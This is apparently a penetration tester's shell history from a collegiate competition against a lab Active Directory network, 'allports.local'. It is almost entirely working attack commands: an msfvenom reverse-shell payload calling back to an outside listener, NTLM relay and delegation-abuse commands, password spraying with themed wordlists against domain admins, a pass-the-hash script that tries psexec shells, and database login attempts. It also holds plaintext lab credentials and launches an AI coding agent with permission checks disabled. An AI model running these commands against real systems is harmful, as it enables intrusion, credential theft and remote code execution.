_raw: : 1768068262:0;jq -R 'split(".") |.[0:2] | map(@base64d) | map(fromjson)' <<< '.eJwljktqBDEMRO_idRb6y57LNG1ZIiGQQPfMKuTuMWRZVfDq_bSjrrzf2-N5vfKtHR-rPZrTOC19gI8TVoLwTOkj3Y2nFmNJ-cIsQpEVzoJnoGJ5R-3mYEqSSjW1J52wZ-LQykIiTGSaQI6gHhbZGUJTVxj3hT1ntS3yuvP6txk7xn3V8fz-zK9dCNCYo1PuE2HYOAszE1gIHrD47FQoq_3-ATFOPVc.aWKUFQ.AAp24Y_RMo_vG77SsWMBjQq1QJ8'


_raw: : 1768068241:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support --escalate-user DECKHAND-02$ -c whoami


_raw: : 1768068227:0;python3 password_spray.py -u user.txt -p pass.txt -t https://a.rooms.allports.tours/admin.html -d 1


_raw: : 1768068215:0;gobuster dir --url http://10.0.1.99/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms


_raw: : 1768068214:0;impacket-lookupsid allports.local/guest@10.0.1.20 -no-pass -domain-sids 2>&1


_raw: : 1768068203:0;gobuster dir --url https://10.0.1.99/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms


_raw: : 1768068187:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.204 LPORT=4444 -f elf > rev-4.elf


_raw: : 1768068164:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw: : 1768068163:0;msfvenom -a -p linux/x64/shell_reverse_tcp LHOST=10.0.254.204 LPORT=4444 -f elf > rev-4.elf


_raw: : 1768068159:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw:
: 1768068135:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw: : 1768068132:0;mysql -h 10.0.1.99 --ssl-verify-server-cert=false -u root


_raw: : 1768068114:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u root -p


_raw: : 1768068112:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u root


_raw: : 1768068102:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u mysql


_raw: : 1768068099:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u Anonymous


_raw: : 1768068095:0;nxc smb DECKHAND-01 -k --use-kcache


_raw: : 1768068087:0;mv /tmp/penny /tmp/pennyold


_raw: : 1768068080:0;impacket-getST -self -impersonate "BFINN" -altservice "cifs/DECKHAND-01.allports.local" -k -no-pass -dc-ip "10.0.1.6" "allports.local"/'DECKHAND-01$'


_raw: : 1768068079:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u root -p


_raw: : 1768068077:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u root


_raw: : 1768068072:0;mv -r /tmp/penny /tmp/pennyold


_raw: : 1768068063:0;cp config.example.py config.py


_raw:
: 1768068056:0;cat << 'EOF' > batch4.txt\
Captain1!\
Sailor1!\
Anchor1!\
Deckhand1!\
Nautical1!\
Compass1!\
Voyage1!\
Ocean1!\
Ship1!\
Helm1!\
EOF\
\
nxc smb 10.0.1.6 -u domain_admins.txt -p batch4.txt --continue-on-success


_raw: : 1768068050:0;pip install -r requirements.txt


_raw: : 1768068040:0;curl https://a.rooms.allports.tours -k


_raw:
: 1768068028:0;cat << 'EOF' > batch3.txt\
Sails@way!\
Anchor@way!\
Ship@way!\
Boat@way!\
Ocean@way!\
Captain@way!\
Sailor@way!\
Helm@way!\
Compass@way!\
Voyage@way!\
EOF\
\
nxc smb 10.0.1.6 -u domain_admins.txt -p batch3.txt --continue-on-success


_raw: : 1768068019:0;nxc smb 10.0.1.6 -u domain_admins.txt -p test1


_raw:
: 1768068015:0;curl -X 'GET' \\
  'http://gps.allports.tours:8080/api/download_csv.php?file=navigation_log_2024-01-01.csv' \\
  -H 'accept: text/csv'


_raw: : 1768068009:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u admin -p admin


_raw: : 1768068004:0;nxc smb 10.0.1.6 -u domain_admins.txt -p test


_raw: : 1768067994:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u bfinn


_raw:
: 1768067990:0;cat << 'EOF' > batch2.txt\
IamTheCaptainNow\
IamTheCaptain\
IamTheSailor\
IamTheDeckhand\
IamTheAdmiral\
IamTheNavigator\
IamTheAnchor\
IamTheHelm\
IamThePilot\
IamTheCrew\
EOF\
\
nxc smb 10.0.1.6 -u domain_admins.txt -p batch2.txt --continue-on-success


_raw: : 1768067981:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u admin


_raw: : 1768067977:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false


_raw: : 1768067973:0;nxc smb 10.0.1.6 -u domain_admins.txt -p test


_raw: : 1768067970:0;gobuster dir -k -u https://10.0.1.11:8045/ -w SecLists-master/Discovery/Web-Content/big.txt


_raw: : 1768067963:0;mysql -h 10.0.1.13 --skip-ssl --ssl-verify-server-cert=false


_raw: : 1768067963:0;gobuster DIR -k -u https://10.0.1.11:8045/ -w SecLists-master/Discovery/Web-Content/big.txt


_raw: : 1768067955:0;gobuster -k -u https://10.0.1.11:8045/ -w SecLists-master/Discovery/Web-Content/big.txt


_raw:
: 1768067949:0;cat << 'EOF' > batch2.txt\
IamTheCaptainNow\
IamTheCaptain\
IamTheSailor\
IamTheDeckhand\
IamTheAdmiral\
IamTheNavigator\
IamTheAnchor\
IamTheHelm\
IamThePilot\
IamTheCrew\
EOF\
\
nxc smb 10.0.1.6 -u domain_admins.txt -p batch2.txt --continue-on-success


_raw:
: 1768067940:0;cat << 'EOF' > batch1.txt\
1gyroscope\
1compass\
1anchor\
1captain\
1sailor\
1deckhand\
1helm\
1rudder\
1voyage\
1ocean\
EOF\
\
nxc smb 10.0.1.6 -u domain_admins.txt -p batch1.txt --continue-on-success


_raw: : 1768067889:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support --remove-mic -i --escalate-user APT-DC-01$


_raw: : 1768067873:1;impacket-psexec -k -no-pass allports.local/REDACTED_EMAIL -target-ip 10.0.1.20


_raw: : 1768067864:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i


_raw: : 1768067847:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i


_raw:
: 1768067832:0;curl -s -X POST "http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token" \\
    -d "username=pentester&password=P@ssw0rd123&grant_type=password&client_id=gps-app" | jq


_raw:
: 1768067828:0;nxc smb 10.0.1.20 -u 'guest' -p '' --rid-brute 2>&1 | grep -E                   timeout: 1m   \
      "APT\\|SidTypeUser")


_raw: : 1768067804:0;nxc smb 10.0.1.6 -u domain_admins.txt -p 'Admin'


_raw: : 1768067803:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i


_raw: : 1768067798:0;nxc smb 10.0.1.6 -u domain_admins.txt -p 'admin'


_raw: : 1768067792:0;nxc smb 10.0.1.6 -u domain_admins.txt -p 'allportstours'


_raw:
source .zshrc
claude
claude-code --version\
claude --version\
claude -
claude
claude /agent
ls
cd .claude
ls
cd agents
ls
subl pentest-exploit-verifier.md
pwd
cd ~/cptc11-compliance-pod1/
;s
git status
lz
ls
git status
git pull
ls
cd enumeration
ls
cat log-nmap-initial.txt
ls la
ls -la
ls
cd ..
ls
ls -la
code
code .


_raw:
git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git
cd Princess-Sumaya-University-for-Technology
;s
ls
chmod +x start.sh
./start.sh
chmod +x all.sh
./all.sh
nuclei
cd
ls -la
source .zshrc
ls -la
cat hello
echo hello
cat .zsh_history_readable
ls
ping 10.0.1.10
curl 10.0.1.10:9091
curl 10.0.1.10:9000
curl -I 10.0.1.10:9000
nmap -sC -sV -p9000 10.0.1.10
nmap -sC -sV -p9091 10.0.1.10
nmap -sC -sV -p80 10.0.1.11
nmap -sC -sV -p3000 10.0.1.11


_raw: : 1768067787:0;nxc smb 10.0.1.6 -u domain_admins.txt -p 'allports'


_raw:
nc 10.0.1.10 9000
curl http://10.0.1.11/api/config
curl http://10.0.1.11/api/config | grep password
curl http://10.0.1.11/api/config | grep passwordpolicy
curl http://10.0.1.11/api/config | grep Min
curl http://10.0.1.11/api/config | grep min
curl http://10.0.1.11/api/config | grep passwordlength
curl http://10.0.1.11/api/config | grep password
curl http://10.0.1.11/api/config | grep Minpass
curl http://10.0.1.11/api/config | grep "Min"
curl http://10.0.1.11/api/config | grep "minPasswordLength"
curl http://10.0.1.30:8096
curl -I http://10.0.1.30:8096
claude
cat sequence-diagram.md


_raw: : 1768067768:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support --remove-mic -c whoami


_raw: : 1768067756:0;mv /home/pentester/.penelope/sessions/826d76ce727f~10.0.1.10-Linux-x86_64/downloads/go/busybox .


_raw: : 1768067751:0;ffuf -u https://10.0.1.11:8045/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1768067715:0;termshot -scf out.png -C90 -- "bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get search --base 'OU=ROOMS,OU=DEPARTMENTS,DC=ALLPORTS,DC=LOCAL' --filter '(objectClass=*)' --attr cn | tail -n20"


_raw: : 1768067714:0;nxc smb 10.0.1.6 -u domain_admins.txt -p test


_raw: : 1768067669:0;nxc smb 10.0.1.6 -u domain_admins.txt -p moon.txt


_raw: : 1768067663:0;firefox /tmp/csrf_attack.html http


_raw:
: 1768067645:0;cat << 'EOF' > moon.txt\
1gyroscope\
IamTheCaptainNow\
Sails@way!\
1compass\
1anchor\
1captain\
1sailor\
1deckhand\
1nautical\
1maritime\
1voyage\
1ocean\
1ship\
1boat\
1helm\
1rudder\
1stern\
1port\
1starboard\
IamTheCaptain\
IamTheSailor\
IamTheDeckhand\
IamTheAdmiral\
IamTheNavigator\
IamThePilot\
IamTheCrew\
IamTheHelm\
IamTheAnchor\
Captain1!\
Sailor1!\
Anchor1!\
Deckhand1!\
Nautical1!\
Maritime1!\
Voyage1!\
Ocean1!\
Ship1!\
Boat1!\
Helm1!\
Rudder1!\
Compass1!\
Navigation1!\
Sails@way1\
Anchor@way!\
Ship@way!\
Boat@way!\
Ocean@way!\
Captain@way!\
Sailor@way!\
Helm@way!\
Compass@way!\
Voyage@way!\
AllPorts1!\
AllPorts2026!\
AllPorts@way!\
Allports1!\
allports1!\
APT2026!\
Apt2026!\
1allports\
1AllPorts\
Welcome1!\
Password1!\
Summer2026!\
Winter2026!\
Spring2026!\
Fall2026!\
January2026!\
P@ssw0rd\
P@ssword1\
Changeme1!\
EOF


_raw: : 1768067625:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i


_raw: : 1768067599:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support --delegate-access --remove-mic -c whoami


_raw: : 1768067590:0;curl 'https://admin.rooms.allports.tours/' -H 'Cookie: session=attacker123' -v


_raw: : 1768067578:0;[200~curl 'https://admin.rooms.allports.tours/' -H 'Cookie: session=attacker123' -v~


_raw: : 1768067571:0;impacket-ntlmrelayx -t smb://10.0.1.20 --delegate-access --remove-mic -c whoami


_raw: : 1768067566:0;cat first_scan | grep sql -B 10


_raw: : 1768067564:0;nxc ssh 10.0.1.13 -u 'svc_stabilize' -p '1gyroscope' --local-auth


_raw:
: 1768067553:0;# Create comprehensive test script\
cat > test_email_hashes.sh << 'EOF'\
#!/bin/bash\
\
# Input file: email_hashes.txt (format: email:hash)\
INPUT_FILE="email_hash_creds.txt"\
\
if [ ! -f "$INPUT_FILE" ]; then\
    echo "[!] $INPUT_FILE not found!"\
    exit 1\
fi\
\
echo "[*] Testing email:hash combinations..."\
echo "========================================="\
\
while IFS=: read -r email hash; do\
    echo ""\
    echo "[*] Testing: $email:$hash"\
    \
    # Extract components\
    user=$(echo $email | cut -d@ -f1)\
    domain_full=$(echo $email | cut -d@ -f2)\
    domain=$(echo $domain_full | cut -d. -f1)\
    \
    echo "    Username: $user"\
    echo "    Domain: $domain"\
    echo "    Hash: $hash"\
    \
    # Test against DC\
    echo "    [+] Testing DC (10.0.1.6)..."\
    nxc smb 10.0.1.6 -u "$user" -H "$hash" 2>/dev/null\
    nxc smb 10.0.1.6 -d "$domain" -u "$user" -H "$hash" 2>/dev/null\
    \
    # Test against workstations\
    echo "    [+] Testing Deckhand-01 (10.0.1.20)..."\
    nxc smb 10.0.1.20 -u "$user" -H "$hash" 2>/dev/null\
    \
    echo "    [+] Testing Deckhand-02 (10.0.1.21)..."\
    nxc smb 10.0.1.21 -u "$user" -H "$hash" 2>/dev/null\
    \
    # Try with impacket if nxc shows success\
    echo "    [+] Attempting shell access..."\
    timeout 5 impacket-psexec -hashes :"$hash" "$domain/$user"@10.0.1.6 2>/dev/null && echo "    [!] SHELL ACCESS GAINED!"\
    \
    echo "    ----------------------------------------"\
done < "$INPUT_FILE"\
\
echo ""\
echo "[*] Testing complete!"\
echo "========================================="\
EOF\
\
chmod +x test_email_hashes.sh\
./test_email_hashes.sh


_raw: : 1768067547:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access --remove-mic -c whoami


_raw: : 1768067542:0;git clone https://github.com/Tausetii/cptc11-compliance-pod2.git


_raw: : 1768067526:0;net rpc group members "Domain Admins" -U 'allports.local/svc_stabilize%1gyroscope' -S 10.0.1.6 | awk -F\\ '{print $2}' > domain_admins.txt


_raw: : 1768067523:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768067523:0;sudo apt install cmatrix -y


_raw: : 1768067473:0;feroxbuster -u https://chat.allports.tours --insecure


_raw:
: 1768067438:0;# Convert email:hash to username:hash for Windows\
while IFS=: read -r email hash; do\
    username=$(echo $email | cut -d@ -f1)\
    domain=$(echo $email | cut -d@ -f2 | cut -d. -f1)\
    \
    echo "$username:$hash"\
    echo "$domain\\$username:$hash"\
done < email_hash_creds.txt > windows_hashes.txt\
\
# View converted hashes\
cat windows_hashes.txt